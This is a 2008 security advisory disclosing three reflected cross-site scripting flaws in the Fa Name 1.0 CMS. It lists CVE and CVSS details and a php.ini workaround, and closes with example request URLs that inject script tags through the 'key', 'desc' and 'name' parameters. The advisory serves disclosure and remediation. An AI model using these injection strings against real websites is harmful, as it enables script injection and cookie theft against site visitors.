netVigilance Security Advisory #43
Fa Name version 1.0 Multiple XSS Attack Vulnerabilities
Description:
Fa Name
(http://webscripts.softpedia.com/script/Content-Management/Fa-Name-41229.html)
is useful portal (CMS) for .name websites. You can have a simple portal
but useful one for you domain names and by using this portal you can
show your complete information like photo, identification, projects and
history to the others.
Successful exploitation requires PHP magic_quotes_gpc set to Off on the
server for the first vulnerability and register_globals set to On for
the third.
External References:
Mitre CVE: CVE-2007-3653
NVD NIST: CVE-2007-3653
OSVDB:
Summary:
Fa Name is useful portal (CMS) for .name websites.
Security problem in the product allows attackers to conduct XSS attacks.
Advisory URL:
http://www.netvigilance.com/advisory0043
Release Date: June 30th 2008
CVSS Version 2 Metrics:
Base Metrics:
Exploitability Metrics:
Access Vector: Network
Access Complexity: Medium
Authentication: None
Impact Metrics:
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None
Temporal Metrics:
Exploitability: Functional
Remediation Level: Workaround
Report Confidence: Uncorroborated
CVSS Version 2 Vectors:
Base Vector: �AV:N/AC:L/Au:N/C:N/I:P/A:N�
Temporal Vector: �E:F/RL:W/RC:UR�
CVSS Version 2 Scores:
Base Score: 4.3
Impact Subscore: 2.9
Exploitability Subscore: 8.6
Temporal Score: 3.7
SecureScout Testcase ID: TC 17973
Vulnerable Systems:
Fa Name version 1.0
Vulnerability Type:
XSS (Cross-Site Scripting) to force a web-site to display malicious
contents to the target, by sending a specially crafted request to the
web-site. The vulnerable web-site is not the target of attack but is
used as a tool for the hacker in the attack of the victim (visitor to
attached vulnerable website).
Vendor:
FaScript
Vendor Status:
The Vendor has been notified
Workaround:
In the php.ini file set register_globals = Off or/and magic_quotes_gpc = On.
Example:
XSS Attack Vulnerability 1:
REQUEST:
http://[TARGET]/[FANAME-DIRECTORY]/index.php?key="><script>alert(document.cookies)</script>
REPLY:
will execute <script>alert(document.cookie)</script>.
XSS Attack Vulnerability 2:
REQUEST:
http://[TARGET]/[FANAME-DIRECTORY]/index.php?desc="><script>alert(document.cookies)</script>
REPLY:
will execute <script>alert(document.cookie)</script>.
XSS Attack Vulnerability 3:
REQUEST:
http://[TARGET]/[FANAME-DIRECTORY]/page.php?name=<script>alert(document.cookies)</script>
REPLY:
will execute <script>alert(document.cookie)</script>.
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
